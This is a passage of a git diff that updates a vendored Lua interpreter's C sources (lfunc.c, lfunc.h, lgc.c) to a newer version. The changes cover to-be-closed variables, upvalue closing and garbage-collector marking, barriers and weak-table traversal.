luaT_gettmbyobj(L, s2v(level), TM_CLOSE); + if (ttisnil(tm)) { /* no metamethod? */ + int idx = cast_int(level - L->ci->func.p); /* variable index */ + const char *vname = luaG_findlocal(L, L->ci, idx, NULL); + if (vname == NULL) vname = "?"; + luaG_runerror(L, "variable '%s' got a non-closable value", vname); + } } -void luaF_close(lua_State *L, StkId level) { +/* +** Prepare and call a closing method. +** If status is CLOSEKTOP, the call to the closing method will be pushed +** at the top of the stack. Otherwise, values can be pushed right after +** the 'level' of the upvalue being closed, as everything after that +** won't be used again. +*/ +static void prepcallclosemth(lua_State *L, StkId level, int status, int yy) { + TValue *uv = s2v(level); /* value being closed */ + TValue *errobj; + if (status == CLOSEKTOP) + errobj = &G(L)->nilvalue; /* error object is nil */ + else { /* 'luaD_seterrorobj' will set top to level + 2 */ + errobj = s2v(level + 1); /* error object goes after 'uv' */ + luaD_seterrorobj(L, status, level + 1); /* set error object */ + } + callclosemethod(L, uv, errobj, yy); +} + + +/* +** Maximum value for deltas in 'tbclist', dependent on the type +** of delta. (This macro assumes that an 'L' is in scope where it +** is used.) +*/ +#define MAXDELTA \ + ((256ul << ((sizeof(L->stack.p->tbclist.delta) - 1) * 8)) - 1) + + +/* +** Insert a variable in the list of to-be-closed variables. +*/ +void luaF_newtbcupval(lua_State *L, StkId level) { + lua_assert(level > L->tbclist.p); + if (l_isfalse(s2v(level))) + return; /* false doesn't need to be closed */ + checkclosemth(L, level); /* value must have a close method */ + while (cast_uint(level - L->tbclist.p) > MAXDELTA) { + L->tbclist.p += MAXDELTA; /* create a dummy node at maximum delta */ + L->tbclist.p->tbclist.delta = 0; + } + level->tbclist.delta = cast(unsigned short, level - L->tbclist.p); + L->tbclist.p = level; +} + + +void luaF_unlinkupval(UpVal *uv) { + lua_assert(upisopen(uv)); + *uv->u.open.previous = uv->u.open.next; + if (uv->u.open.next) + uv->u.open.next->u.open.previous = uv->u.open.previous; +} + + +/* +** Close all upvalues up to the given stack level. +*/ +void luaF_closeupval(lua_State *L, StkId level) { UpVal *uv; - global_State *g = G(L); - while (L->openupval != NULL && (uv = gco2uv(L->openupval))->v >= level) { - GCObject *o = obj2gco(uv); - lua_assert(!isblack(o) && uv->v != &uv->u.value); - L->openupval = uv->next; /* remove from `open' list */ - if (isdead(g, o)) - luaF_freeupval(L, uv); /* free upvalue */ - else { - unlinkupval(uv); /* remove upvalue from 'uvhead' list */ - setobj(L, &uv->u.value, uv->v); /* move value to upvalue slot */ - uv->v = &uv->u.value; /* now current value lives here */ - gch(o)->next = g->allgc; /* link upvalue into 'allgc' list */ - g->allgc = o; - luaC_checkupvalcolor(g, uv); + StkId upl; /* stack index pointed by 'uv' */ + while ((uv = L->openupval) != NULL && (upl = uplevel(uv)) >= level) { + TValue *slot = &uv->u.value; /* new position for value */ + lua_assert(uplevel(uv) < L->top.p); + luaF_unlinkupval(uv); /* remove upvalue from 'openupval' list */ + setobj(L, slot, uv->v.p); /* move value to upvalue slot */ + uv->v.p = slot; /* now current value lives here */ + if (!iswhite(uv)) { /* neither white nor dead? */ + nw2black(uv); /* closed upvalues cannot be gray */ + luaC_barrier(L, uv, slot); } } } +/* +** Remove first element from the tbclist plus its dummy nodes. +*/ +static void poptbclist(lua_State *L) { + StkId tbc = L->tbclist.p; + lua_assert(tbc->tbclist.delta > 0); /* first element cannot be dummy */ + tbc -= tbc->tbclist.delta; + while (tbc > L->stack.p && tbc->tbclist.delta == 0) + tbc -= MAXDELTA; /* remove dummy nodes */ + L->tbclist.p = tbc; +} + + +/* +** Close all upvalues and to-be-closed variables up to the given stack +** level. Return restored 'level'. +*/ +StkId luaF_close(lua_State *L, StkId level, int status, int yy) { + ptrdiff_t levelrel = savestack(L, level); + luaF_closeupval(L, level); /* first, close the upvalues */ + while (L->tbclist.p >= level) { /* traverse tbc's down to that level */ + StkId tbc = L->tbclist.p; /* get variable index */ + poptbclist(L); /* remove it from list */ + prepcallclosemth(L, tbc, status, yy); /* close variable */ + level = restorestack(L, levelrel); + } + return level; +} + + Proto *luaF_newproto(lua_State *L) { - Proto *f = &luaC_newobj(L, LUA_TPROTO, sizeof(Proto), NULL, 0)->p; + GCObject *o = luaC_newobj(L, LUA_VPROTO, sizeof(Proto)); + Proto *f = gco2p(o); f->k = NULL; f->sizek = 0; f->p = NULL; f->sizep = 0; f->code = NULL; - f->cache = NULL; f->sizecode = 0; f->lineinfo = NULL; f->sizelineinfo = 0; + f->abslineinfo = NULL; + f->sizeabslineinfo = 0; f->upvalues = NULL; f->sizeupvalues = 0; f->numparams = 0; @@ -137,6 +269,7 @@ void luaF_freeproto(lua_State *L, Proto *f) { luaM_freearray(L, f->p, f->sizep); luaM_freearray(L, f->k, f->sizek); luaM_freearray(L, f->lineinfo, f->sizelineinfo); + luaM_freearray(L, f->abslineinfo, f->sizeabslineinfo); luaM_freearray(L, f->locvars, f->sizelocvars); luaM_freearray(L, f->upvalues, f->sizeupvalues); luaM_free(L, f); @@ -144,7 +277,7 @@ void luaF_freeproto(lua_State *L, Proto *f) { /* -** Look for n-th local variable at line `line' in function `func'. +** Look for n-th local variable at line 'line' in function 'func'. ** Returns NULL if not found. */ const char *luaF_getlocalname(const Proto *f, int local_number, int pc) { diff --git a/client/deps/liblua/lfunc.h b/client/deps/liblua/lfunc.h index e6c8c01e7..6a1524828 100644 --- a/client/deps/liblua/lfunc.h +++ b/client/deps/liblua/lfunc.h @@ -1,5 +1,5 @@ /* -** $Id: lfunc.h,v 2.8 2012/05/08 13:53:33 roberto Exp $ +** $Id: lfunc.h $ ** Auxiliary functions to manipulate prototypes and closures ** See Copyright Notice in lua.h */ @@ -11,21 +11,52 @@ #include "lobject.h" -#define sizeCclosure(n) (cast(int, sizeof(CClosure)) + \ - cast(int, sizeof(TValue)*((n)-1))) +#define sizeCclosure(n) (cast_int(offsetof(CClosure, upvalue)) + \ + cast_int(sizeof(TValue)) * (n)) -#define sizeLclosure(n) (cast(int, sizeof(LClosure)) + \ - cast(int, sizeof(TValue *)*((n)-1))) +#define sizeLclosure(n) (cast_int(offsetof(LClosure, upvals)) + \ + cast_int(sizeof(TValue *)) * (n)) + + +/* test whether thread is in 'twups' list */ +#define isintwups(L) (L->twups != L) + + +/* +** maximum number of upvalues in a closure (both C and Lua). (Value +** must fit in a VM register.) +*/ +#define MAXUPVAL 255 + + +#define upisopen(up) ((up)->v.p != &(up)->u.value) + + +#define uplevel(up) check_exp(upisopen(up), cast(StkId, (up)->v.p)) + + +/* +** maximum number of misses before giving up the cache of closures +** in prototypes +*/ +#define MAXMISS 10 + + + +/* special status to close upvalues preserving the top of the stack */ +#define CLOSEKTOP (-1) LUAI_FUNC Proto *luaF_newproto(lua_State *L); -LUAI_FUNC Closure *luaF_newCclosure(lua_State *L, int nelems); -LUAI_FUNC Closure *luaF_newLclosure(lua_State *L, int nelems); -LUAI_FUNC UpVal *luaF_newupval(lua_State *L); +LUAI_FUNC CClosure *luaF_newCclosure(lua_State *L, int nupvals); +LUAI_FUNC LClosure *luaF_newLclosure(lua_State *L, int nupvals); +LUAI_FUNC void luaF_initupvals(lua_State *L, LClosure *cl); LUAI_FUNC UpVal *luaF_findupval(lua_State *L, StkId level); -LUAI_FUNC void luaF_close(lua_State *L, StkId level); +LUAI_FUNC void luaF_newtbcupval(lua_State *L, StkId level); +LUAI_FUNC void luaF_closeupval(lua_State *L, StkId level); +LUAI_FUNC StkId luaF_close(lua_State *L, StkId level, int status, int yy); +LUAI_FUNC void luaF_unlinkupval(UpVal *uv); LUAI_FUNC void luaF_freeproto(lua_State *L, Proto *f); -LUAI_FUNC void luaF_freeupval(lua_State *L, UpVal *uv); LUAI_FUNC const char *luaF_getlocalname(const Proto *func, int local_number, int pc); diff --git a/client/deps/liblua/lgc.c b/client/deps/liblua/lgc.c index 6a325280b..739d51c7b 100644 --- a/client/deps/liblua/lgc.c +++ b/client/deps/liblua/lgc.c @@ -1,14 +1,18 @@ /* -** $Id: lgc.c,v 2.140 2013/04/26 18:22:05 roberto Exp $ +** $Id: lgc.c $ ** Garbage Collector ** See Copyright Notice in lua.h */ -#include - #define lgc_c #define LUA_CORE +#include "lprefix.h" + +#include +#include + + #include "lua.h" #include "ldebug.h" @@ -23,62 +27,86 @@ #include "ltm.h" +/* +** Maximum number of elements to sweep in each single step. +** (Large enough to dissipate fixed overheads but small enough +** to allow small steps for the collector.) +*/ +#define GCSWEEPMAX 100 /* -** cost of sweeping one element (the size of a small object divided -** by some adjust for the sweep speed) +** Maximum number of finalizers to call in each single step. */ -#define GCSWEEPCOST ((sizeof(TString) + 4) / 4) - -/* maximum number of elements to sweep in each single step */ -#define GCSWEEPMAX (cast_int((GCSTEPSIZE / GCSWEEPCOST) / 4)) - -/* maximum number of finalizers to call in each GC step */ -#define GCFINALIZENUM 4 +#define GCFINMAX 10 /* -** macro to adjust 'stepmul': 'stepmul' is actually used like -** 'stepmul / STEPMULADJ' (value chosen by tests) +** Cost of calling one finalizer. */ -#define STEPMULADJ 200 +#define GCFINALIZECOST 50 + + +/* +** The equivalent, in bytes, of one unit of "work" (visiting a slot, +** sweeping an object, etc.) +*/ +#define WORK2MEM sizeof(TValue) /* ** macro to adjust 'pause': 'pause' is actually used like ** 'pause / PAUSEADJ' (value chosen by tests) */ -#define PAUSEADJ 100 +#define PAUSEADJ 100 + + +/* mask with all color bits */ +#define maskcolors (bitmask(BLACKBIT) | WHITEBITS) + +/* mask with all GC bits */ +#define maskgcbits (maskcolors | AGEBITS) + + +/* macro to erase all color bits then set only the current white bit */ +#define makewhite(g,x) \ + (x->marked = cast_byte((x->marked & ~maskcolors) | luaC_white(g))) + +/* make an object gray (neither white nor black) */ +#define set2gray(x) resetbits(x->marked, maskcolors) + + +/* make an object black (coming from any color) */ +#define set2black(x) \ + (x->marked = cast_byte((x->marked & ~WHITEBITS) | bitmask(BLACKBIT))) + + +#define valiswhite(x) (iscollectable(x) && iswhite(gcvalue(x))) + +#define keyiswhite(n) (keyiscollectable(n) && iswhite(gckey(n))) /* -** 'makewhite' erases all color bits plus the old bit and then -** sets only the current white bit +** Protected access to objects in values */ -#define maskcolors (~(bit2mask(BLACKBIT, OLDBIT) | WHITEBITS)) -#define makewhite(g,x) \ - (gch(x)->marked = cast_byte((gch(x)->marked & maskcolors) | luaC_white(g))) - -#define white2gray(x) resetbits(gch(x)->marked, WHITEBITS) -#define black2gray(x) resetbit(gch(x)->marked, BLACKBIT) +#define gcvalueN(o) (iscollectable(o) ? gcvalue(o) : NULL) -#define isfinalized(x) testbit(gch(x)->marked, FINALIZEDBIT) +#define markvalue(g,o) { checkliveness(g->mainthread,o); \ + if (valiswhite(o)) reallymarkobject(g,gcvalue(o)); } -#define checkdeadkey(n) lua_assert(!ttisdeadkey(gkey(n)) || ttisnil(gval(n))) +#define markkey(g, n) { if keyiswhite(n) reallymarkobject(g,gckey(n)); } +#define markobject(g,t) { if (iswhite(t)) reallymarkobject(g, obj2gco(t)); } -#define checkconsistency(obj) \ - lua_longassert(!iscollectable(obj) || righttt(obj)) - - -#define markvalue(g,o) { checkconsistency(o); \ - if (valiswhite(o)) reallymarkobject(g,gcvalue(o)); } - -#define markobject(g,t) { if ((t) && iswhite(obj2gco(t))) \ - reallymarkobject(g, obj2gco(t)); } +/* +** mark an object that can be NULL (either because it is really optional, +** or it was stripped as debug info, or inside an uncompleted structure) +*/ +#define markobjectN(g,t) { if (t) markobject(g,t); } static void reallymarkobject(global_State *g, GCObject *o); +static lu_mem atomic(lua_State *L); +static void entersweep(lua_State *L); /* @@ -91,135 +119,163 @@ static void reallymarkobject(global_State *g, GCObject *o); /* ** one after last element in a hash array */ -#define gnodelast(h) gnode(h, cast(size_t, sizenode(h))) +#define gnodelast(h) gnode(h, cast_sizet(sizenode(h))) + + +static GCObject **getgclist(GCObject *o) { + switch (o->tt) { + case LUA_VTABLE: + return &gco2t(o)->gclist; + case LUA_VLCL: + return &gco2lcl(o)->gclist; + case LUA_VCCL: + return &gco2ccl(o)->gclist; + case LUA_VTHREAD: + return &gco2th(o)->gclist; + case LUA_VPROTO: + return &gco2p(o)->gclist; + case LUA_VUSERDATA: { + Udata *u = gco2u(o); + lua_assert(u->nuvalue > 0); + return &u->gclist; + } + default: + lua_assert(0); + return 0; + } +} /* -** link table 'h' into list pointed by 'p' +** Link a collectable object 'o' with a known type into the list 'p'. +** (Must be a macro to access the 'gclist' field in different types.) */ -#define linktable(h,p) ((h)->gclist = *(p), *(p) = obj2gco(h)) +#define linkgclist(o,p) linkgclist_(obj2gco(o), &(o)->gclist, &(p)) + +static void linkgclist_(GCObject *o, GCObject **pnext, GCObject **list) { + lua_assert(!isgray(o)); /* cannot be in a gray list */ + *pnext = *list; + *list = o; + set2gray(o); /* now it is */ +} /* -** if key is not marked, mark its entry as dead (therefore removing it -** from the table) +** Link a generic collectable object 'o' into the list 'p'. */ -static void removeentry(Node *n) { - lua_assert(ttisnil(gval(n))); - if (valiswhite(gkey(n))) - setdeadvalue(gkey(n)); /* unused and unmarked key; remove it */ +#define linkobjgclist(o,p) linkgclist_(obj2gco(o), getgclist(o), &(p)) + + + +/* +** Clear keys for empty entries in tables. If entry is empty, mark its +** entry as dead. This allows the collection of the key, but keeps its +** entry in the table: its removal could break a chain and could break +** a table traversal. Other places never manipulate dead keys, because +** its associated empty value is enough to signal that the entry is +** logically empty. +*/ +static void clearkey(Node *n) { + lua_assert(isempty(gval(n))); + if (keyiscollectable(n)) + setdeadkey(n); /* unused key; remove it */ } /* ** tells whether a key or value can be cleared from a weak ** table. Non-collectable objects are never removed from weak -** tables. Strings behave as `values', so are never removed too. for +** tables. Strings behave as 'values', so are never removed too. for ** other objects: if really collected, cannot keep them; for objects ** being finalized, keep them in keys, but not in values */ -static int iscleared(global_State *g, const TValue *o) { - if (!iscollectable(o)) return 0; - else if (ttisstring(o)) { - markobject(g, rawtsvalue(o)); /* strings are `values', so are never weak */ +static int iscleared(global_State *g, const GCObject *o) { + if (o == NULL) return 0; /* non-collectable value */ + else if (novariant(o->tt) == LUA_TSTRING) { + markobject(g, o); /* strings are 'values', so are never weak */ return 0; - } else return iswhite(gcvalue(o)); + } else return iswhite(o); } /* -** barrier that moves collector forward, that is, mark the white object -** being pointed by a black object. +** Barrier that moves collector forward, that is, marks the white object +** 'v' being pointed by the black object 'o'. In the generational +** mode, 'v' must also become old, if 'o' is old; however, it cannot +** be changed directly to OLD, because it may still point to non-old +** objects. So, it is marked as OLD0. In the next cycle it will become +** OLD1, and in the next it will finally become OLD (regular old). By +** then, any object it points to will also be old. If called in the +** incremental sweep phase, it clears the black object to white (sweep +** it) to avoid other barrier calls for this same object. (That cannot +** be done is generational mode, as its sweep does not distinguish +** whites from deads.) */ void luaC_barrier_(lua_State *L, GCObject *o, GCObject *v) { global_State *g = G(L); lua_assert(isblack(o) && iswhite(v) && !isdead(g, v) && !isdead(g, o)); - lua_assert(g->gcstate != GCSpause); - lua_assert(gch(o)->tt != LUA_TTABLE); - if (keepinvariantout(g)) /* must keep invariant? */ + if (keepinvariant(g)) { /* must keep invariant? */ reallymarkobject(g, v); /* restore invariant */ - else { /* sweep phase */ + if (isold(o)) { + lua_assert(!isold(v)); /* white object could not be old */ + setage(v, G_OLD0); /* restore generational invariant */ + } + } else { /* sweep phase */ lua_assert(issweepphase(g)); - makewhite(g, o); /* mark main obj. as white to avoid other barriers */ + if (g->gckind == KGC_INC) /* incremental mode? */ + makewhite(g, o); /* mark 'o' as white to avoid other barriers */ } } /* ** barrier that moves collector backward, that is, mark the black object -** pointing to a white object as gray again. (Current implementation -** only works for tables; access to 'gclist' is not uniform across -** different types.) +** pointing to a white object as gray again. */ void luaC_barrierback_(lua_State *L, GCObject *o) { global_State *g = G(L); - lua_assert(isblack(o) && !isdead(g, o) && gch(o)->tt == LUA_TTABLE); - black2gray(o); /* make object gray (again) */ - gco2t(o)->gclist = g->grayagain; - g->grayagain = o; + lua_assert(isblack(o) && !isdead(g, o)); + lua_assert((g->gckind == KGC_GEN) == (isold(o) && getage(o) != G_TOUCHED1)); + if (getage(o) == G_TOUCHED2) /* already in gray list? */ + set2gray(o); /* make it gray to become touched1 */ + else /* link it in 'grayagain' and paint it gray */ + linkobjgclist(o, g->grayagain); + if (isold(o)) /* generational mode? */ + setage(o, G_TOUCHED1); /* touched in current cycle */ } -/* -** barrier for prototypes. When creating first closure (cache is -** NULL), use a forward barrier; this may be the only closure of the -** prototype (if it is a "regular" function, with a single instance) -** and the prototype may be big, so it is better to avoid traversing -** it again. Otherwise, use a backward barrier, to avoid marking all -** possible instances. -*/ -LUAI_FUNC void luaC_barrierproto_(lua_State *L, Proto *p, Closure *c) { +void luaC_fix(lua_State *L, GCObject *o) { global_State *g = G(L); - lua_assert(isblack(obj2gco(p))); - if (p->cache == NULL) { /* first time? */ - luaC_objbarrier(L, p, c); - } else { /* use a backward barrier */ - black2gray(obj2gco(p)); /* make prototype gray (again) */ - p->gclist = g->grayagain; - g->grayagain = obj2gco(p); - } + lua_assert(g->allgc == o); /* object must be 1st in 'allgc' list! */ + set2gray(o); /* they will be gray forever */ + setage(o, G_OLD); /* and old forever */ + g->allgc = o->next; /* remove object from 'allgc' list */ + o->next = g->fixedgc; /* link it to 'fixedgc' list */ + g->fixedgc = o; } /* -** check color (and invariants) for an upvalue that was closed, -** i.e., moved into the 'allgc' list +** create a new collectable object (with given type, size, and offset) +** and link it to 'allgc' list. */ -void luaC_checkupvalcolor(global_State *g, UpVal *uv) { - GCObject *o = obj2gco(uv); - lua_assert(!isblack(o)); /* open upvalues are never black */ - if (isgray(o)) { - if (keepinvariant(g)) { - resetoldbit(o); /* see MOVE OLD rule */ - gray2black(o); /* it is being visited now */ - markvalue(g, uv->v); - } else { - lua_assert(issweepphase(g)); - makewhite(g, o); - } - } -} - - -/* -** create a new collectable object (with given type and size) and link -** it to '*list'. 'offset' tells how many bytes to allocate before the -** object itself (used only by states). -*/ -GCObject *luaC_newobj(lua_State *L, int tt, size_t sz, GCObject **list, - int offset) { +GCObject *luaC_newobjdt(lua_State *L, int tt, size_t sz, size_t offset) { global_State *g = G(L); - char *raw = cast(char *, luaM_newobject(L, novariant(tt), sz)); - GCObject *o = obj2gco(raw + offset); - if (list == NULL) - list = &g->allgc; /* standard list for collectable objects */ - gch(o)->marked = luaC_white(g); - gch(o)->tt = tt; - gch(o)->next = *list; - *list = o; + char *p = cast_charp(luaM_newobject(L, novariant(tt), sz)); + GCObject *o = cast(GCObject *, p + offset); + o->marked = luaC_white(g); + o->tt = tt; + o->next = g->allgc; + g->allgc = o; return o; } + +GCObject *luaC_newobj(lua_State *L, int tt, size_t sz) { + return luaC_newobjdt(L, tt, sz, 0); +} + /* }====================================================== */ @@ -232,65 +288,54 @@ GCObject *luaC_newobj(lua_State *L, int tt, size_t sz, GCObject **list, /* -** mark an object. Userdata, strings, and closed upvalues are visited -** and turned black here. Other objects are marked gray and added -** to appropriate list to be visited (and turned black) later. (Open -** upvalues are already linked in 'headuv' list.) +** Mark an object. Userdata with no user values, strings, and closed +** upvalues are visited and turned black here. Open upvalues are +** already indirectly linked through their respective threads in the +** 'twups' list, so they don't go to the gray list; nevertheless, they +** are kept gray to avoid barriers, as their values will be revisited +** by the thread or by 'remarkupvals'. Other objects are added to the +** gray list to be visited (and turned black) later. Both userdata and +** upvalues can call this function recursively, but this recursion goes +** for at most two levels: An upvalue cannot refer to another upvalue +** (only closures can), and a userdata's metatable must be a table. */ static void reallymarkobject(global_State *g, GCObject *o) { - lu_mem size; - white2gray(o); - switch (gch(o)->tt) { - case LUA_TSHRSTR: - case LUA_TLNGSTR: { - size = sizestring(gco2ts(o)); - break; /* nothing else to mark; make it black */ - } - case LUA_TUSERDATA: { - Table *mt = gco2u(o)->metatable; - markobject(g, mt); - markobject(g, gco2u(o)->env); - size = sizeudata(gco2u(o)); + switch (o->tt) { + case LUA_VSHRSTR: + case LUA_VLNGSTR: { + set2black(o); /* nothing to visit */ break; } - case LUA_TUPVAL: { - UpVal *uv = gco2uv(o); - markvalue(g, uv->v); - if (uv->v != &uv->u.value) /* open? */ - return; /* open upvalues remain gray */ - size = sizeof(UpVal); + case LUA_VUPVAL: { + UpVal *uv = gco2upv(o); + if (upisopen(uv)) + set2gray(uv); /* open upvalues are kept gray */ + else + set2black(uv); /* closed upvalues are visited here */ + markvalue(g, uv->v.p); /* mark its content */ break; } - case LUA_TLCL: { - gco2lcl(o)->gclist = g->gray; - g->gray = o; - return; - } - case LUA_TCCL: { - gco2ccl(o)->gclist = g->gray; - g->gray = o; - return; - } - case LUA_TTABLE: { - linktable(gco2t(o), &g->gray); - return; - } - case LUA_TTHREAD: { - gco2th(o)->gclist = g->gray; - g->gray = o; - return; - } - case LUA_TPROTO: { - gco2p(o)->gclist = g->gray; - g->gray = o; - return; + case LUA_VUSERDATA: { + Udata *u = gco2u(o); + if (u->nuvalue == 0) { /* no user values? */ + markobjectN(g, u->metatable); /* mark its metatable */ + set2black(u); /* nothing else to mark */ + break; + } + /* else... */ + } /* FALLTHROUGH */ + case LUA_VLCL: + case LUA_VCCL: + case LUA_VTABLE: + case LUA_VTHREAD: + case LUA_VPROTO: { + linkobjgclist(o, g->gray); /* to be visited later */ + break; } default: lua_assert(0); - return; + break; } - gray2black(o); - g->GCmemtrav += size; } @@ -300,42 +345,73 @@ static void reallymarkobject(global_State *g, GCObject *o) { static void markmt(global_State *g) { int i; for (i = 0; i < LUA_NUMTAGS; i++) - markobject(g, g->mt[i]); + markobjectN(g, g->mt[i]); } /* ** mark all objects in list of being-finalized */ -static void markbeingfnz(global_State *g) { +static lu_mem markbeingfnz(global_State *g) { GCObject *o; - for (o = g->tobefnz; o != NULL; o = gch(o)->next) { - makewhite(g, o); - reallymarkobject(g, o); + lu_mem count = 0; + for (o = g->tobefnz; o != NULL; o = o->next) { + count++; + markobject(g, o); } + return count; } /* -** mark all values stored in marked open upvalues. (See comment in -** 'lstate.h'.) +** For each non-marked thread, simulates a barrier between each open +** upvalue and its value. (If the thread is collected, the value will be +** assigned to the upvalue, but then it can be too late for the barrier +** to act. The "barrier" does not need to check colors: A non-marked +** thread must be young; upvalues cannot be older than their threads; so +** any visited upvalue must be young too.) Also removes the thread from +** the list, as it was already visited. Removes also threads with no +** upvalues, as they have nothing to be checked. (If the thread gets an +** upvalue later, it will be linked in the list again.) */ -static void remarkupvals(global_State *g) { - UpVal *uv; - for (uv = g->uvhead.u.l.next; uv != &g->uvhead; uv = uv->u.l.next) { - if (isgray(obj2gco(uv))) - markvalue(g, uv->v); +static int remarkupvals(global_State *g) { + lua_State *thread; + lua_State **p = &g->twups; + int work = 0; /* estimate of how much work was done here */ + while ((thread = *p) != NULL) { + work++; + if (!iswhite(thread) && thread->openupval != NULL) + p = &thread->twups; /* keep marked thread with upvalues in the list */ + else { /* thread is not marked or without upvalues */ + UpVal *uv; + lua_assert(!isold(thread) || thread->openupval == NULL); + *p = thread->twups; /* remove thread from the list */ + thread->twups = thread; /* mark that it is out of list */ + for (uv = thread->openupval; uv != NULL; uv = uv->u.open.next) { + lua_assert(getage(uv) <= getage(thread)); + work++; + if (!iswhite(uv)) { /* upvalue already visited? */ + lua_assert(upisopen(uv) && isgray(uv)); + markvalue(g, uv->v.p); /* mark its value */ + } + } + } } + return work; } -/* -** mark root set and reset all gray lists, to start a new -** incremental (or full) collection -*/ -static void restartcollection(global_State *g) { +static void cleargraylists(global_State *g) { g->gray = g->grayagain = NULL; g->weak = g->allweak = g->ephemeron = NULL; +} + + +/* +** mark root set and reset all gray lists, to start a new collection +*/ +static void restartcollection(global_State *g) { + cleargraylists(g); markobject(g, g->mainthread); markvalue(g, &g->l_registry); markmt(g); @@ -351,261 +427,302 @@ static void restartcollection(global_State *g) { ** ======================================================= */ -static void traverseweakvalue(global_State *g, Table *h) { - Node *n, *limit = gnodelast(h); - /* if there is array part, assume it may have white values (do not - traverse it just to check) */ - int hasclears = (h->sizearray > 0); - for (n = gnode(h, 0); n < limit; n++) { - checkdeadkey(n); - if (ttisnil(gval(n))) /* entry is empty? */ - removeentry(n); /* remove it */ - else { - lua_assert(!ttisnil(gkey(n))); - markvalue(g, gkey(n)); /* mark key */ - if (!hasclears && iscleared(g, gval(n))) /* is there a white value? */ - hasclears = 1; /* table will have to be cleared */ - } - } - if (hasclears) - linktable(h, &g->weak); /* has to be cleared later */ - else /* no white values */ - linktable(h, &g->grayagain); /* no need to clean */ + +/* +** Check whether object 'o' should be kept in the 'grayagain' list for +** post-processing by 'correctgraylist'. (It could put all old objects +** in the list and leave all the work to 'correctgraylist', but it is +** more efficient to avoid adding elements that will be removed.) Only +** TOUCHED1 objects need to be in the list. TOUCHED2 doesn't need to go +** back to a gray list, but then it must become OLD. (That is what +** 'correctgraylist' does when it finds a TOUCHED2 object.) +*/ +static void genlink(global_State *g, GCObject *o) { + lua_assert(isblack(o)); + if (getage(o) == G_TOUCHED1) { /* touched in this cycle? */ + linkobjgclist(o, g->grayagain); /* link it back in 'grayagain' */ + } /* everything else do not need to be linked back */ + else if (getage(o) == G_TOUCHED2) + changeage(o, G_TOUCHED2, G_OLD); /* advance age */ } -static int traverseephemeron(global_State *g, Table *h) { +/* +** Traverse a table with weak values and link it to proper list. During +** propagate phase, keep it in 'grayagain' list, to be revisited in the +** atomic phase. In the atomic phase, if table has any white value, +** put it in 'weak' list, to be cleared. +*/ +static void traverseweakvalue(global_State *g, Table *h) { + Node *n, *limit = gnodelast(h); + /* if there is array part, assume it may have white values (it is not + worth traversing it now just to check) */ + int hasclears = (h->alimit > 0); + for (n = gnode(h, 0); n < limit; n++) { /* traverse hash part */ + if (isempty(gval(n))) /* entry is empty? */ + clearkey(n); /* clear its key */ + else { + lua_assert(!keyisnil(n)); + markkey(g, n); + if (!hasclears && iscleared(g, gcvalueN(gval(n)))) /* a white value? */ + hasclears = 1; /* table will have to be cleared */ + } + } + if (g->gcstate == GCSatomic && hasclears) + linkgclist(h, g->weak); /* has to be cleared later */ + else + linkgclist(h, g->grayagain); /* must retraverse it in atomic phase */ +} + + +/* +** Traverse an ephemeron table and link it to proper list. Returns true +** iff any object was marked during this traversal (which implies that +** convergence has to continue). During propagation phase, keep table +** in 'grayagain' list, to be visited again in the atomic phase. In +** the atomic phase, if table has any white->white entry, it has to +** be revisited during ephemeron convergence (as that key may turn +** black). Otherwise, if it has any white key, table has to be cleared +** (in the atomic phase). In generational mode, some tables +** must be kept in some gray list for post-processing; this is done +** by 'genlink'. +*/ +static int traverseephemeron(global_State *g, Table *h, int inv) { int marked = 0; /* true if an object is marked in this traversal */ int hasclears = 0; /* true if table has white keys */ - int prop = 0; /* true if table has entry "white-key -> white-value" */ - Node *n, *limit = gnodelast(h); - int i; - /* traverse array part (numeric keys are 'strong') */ - for (i = 0; i < h->sizearray; i++) { + int hasww = 0; /* true if table has entry "white-key -> white-value" */ + unsigned int i; + unsigned int asize = luaH_realasize(h); + unsigned int nsize = sizenode(h); + /* traverse array part */ + for (i = 0; i < asize; i++) { if (valiswhite(&h->array[i])) { marked = 1; reallymarkobject(g, gcvalue(&h->array[i])); } } - /* traverse hash part */ - for (n = gnode(h, 0); n < limit; n++) { - checkdeadkey(n); - if (ttisnil(gval(n))) /* entry is empty? */ - removeentry(n); /* remove it */ - else if (iscleared(g, gkey(n))) { /* key is not marked (yet)? */ + /* traverse hash part; if 'inv', traverse descending + (see 'convergeephemerons') */ + for (i = 0; i < nsize; i++) { + Node *n = inv ? gnode(h, nsize - 1 - i) : gnode(h, i); + if (isempty(gval(n))) /* entry is empty? */ + clearkey(n); /* clear its key */ + else if (iscleared(g, gckeyN(n))) { /* key is not marked (yet)? */ hasclears = 1; /* table must be cleared */ if (valiswhite(gval(n))) /* value not marked yet? */ - prop = 1; /* must propagate again */ + hasww = 1; /* white-white entry */ } else if (valiswhite(gval(n))) { /* value not marked yet? */ marked = 1; reallymarkobject(g, gcvalue(gval(n))); /* mark it now */ } } - if (g->gcstate != GCSatomic || prop) - linktable(h, &g->ephemeron); /* have to propagate again */ - else if (hasclears) /* does table have white keys? */ - linktable(h, &g->allweak); /* may have to clean white keys */ - else /* no white keys */ - linktable(h, &g->grayagain); /* no need to clean */ + /* link table into proper list */ + if (g->gcstate == GCSpropagate) + linkgclist(h, g->grayagain); /* must retraverse it in atomic phase */ + else if (hasww) /* table has white->white entries? */ + linkgclist(h, g->ephemeron); /* have to propagate again */ + else if (hasclears) /* table has white keys? */ + linkgclist(h, g->allweak); /* may have to clean white keys */ + else + genlink(g, obj2gco(h)); /* check whether collector still needs to see it */ return marked; } static void traversestrongtable(global_State *g, Table *h) { Node *n, *limit = gnodelast(h); - int i; - for (i = 0; i < h->sizearray; i++) /* traverse array part */ + unsigned int i; + unsigned int asize = luaH_realasize(h); + for (i = 0; i < asize; i++) /* traverse array part */ markvalue(g, &h->array[i]); for (n = gnode(h, 0); n < limit; n++) { /* traverse hash part */ - checkdeadkey(n); - if (ttisnil(gval(n))) /* entry is empty? */ - removeentry(n); /* remove it */ + if (isempty(gval(n))) /* entry is empty? */ + clearkey(n); /* clear its key */ else { - lua_assert(!ttisnil(gkey(n))); - markvalue(g, gkey(n)); /* mark key */ - markvalue(g, gval(n)); /* mark value */ + lua_assert(!keyisnil(n)); + markkey(g, n); + markvalue(g, gval(n)); } } + genlink(g, obj2gco(h)); } static lu_mem traversetable(global_State *g, Table *h) { const char *weakkey, *weakvalue; const TValue *mode = gfasttm(g, h->metatable, TM_MODE); - markobject(g, h->metatable); - if (mode && ttisstring(mode) && /* is there a weak mode? */ - ((weakkey = strchr(svalue(mode), 'k')), - (weakvalue = strchr(svalue(mode), 'v')), + TString *smode; + markobjectN(g, h->metatable); + if (mode && ttisshrstring(mode) && /* is there a 